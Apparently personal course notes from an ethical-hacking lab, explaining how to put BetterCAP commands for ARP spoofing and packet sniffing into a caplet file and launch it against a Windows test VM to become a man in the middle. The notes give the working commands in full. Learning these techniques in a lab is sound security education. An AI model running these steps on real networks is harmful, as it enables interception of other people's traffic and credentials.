**CREATING CUSTOM SPOOFING SCRIPT**

We learned how to do ARP Spoof attack with **BetterCAP** and we had to run a number of commands

**We can be lazy and use a caplet to do all of that automatically**

**caplet == basically just a text file, that contains all of the commands that you want to run**

**To do this:**

**We literally open Leafpad(text file) and type our commands:**

**net.probe on**

**(it will also enable net.recon as usual)**

**set arp.spoof.fullduplex true**

**(we set the option to true)**

**set arp.spoof.targets 10.0.2.7**

**(we type the targets' IP addresses could be more than 1)**

**arp.spoof on**

**net.sniff on**

So instead of writing every command one by one again and again we just put all of the commands in a text file then save it in our root directory and call it **spoof.cap(or whatever you want.cap)**

so if we do **ls** in root directory we can see we have a new file called **spoof.cap**

All we need to do now is feed this spoof file to **BetterCAP** before we start **BetterCAP**

**We dont know how to do this so we do:**

bettercap --help

**to see all of the options that we can set with BetterCAP**

What we want to do is use the **-caplet** option

**We are going to run BetterCAP like we used to but we add the caplet:**

bettercap -iface eth0 -caplet spoof.cap

**We can test it with our target Windows VM and type arp -a in cmd**

**The router's MAC Address should be changed to the same MAC Address as the Kali machine**

The Windows is now spoofed thinking that the Kali machine is the router and the router thinks that the kali machine is the Windows so this will place Kali in the middle of the connection ;)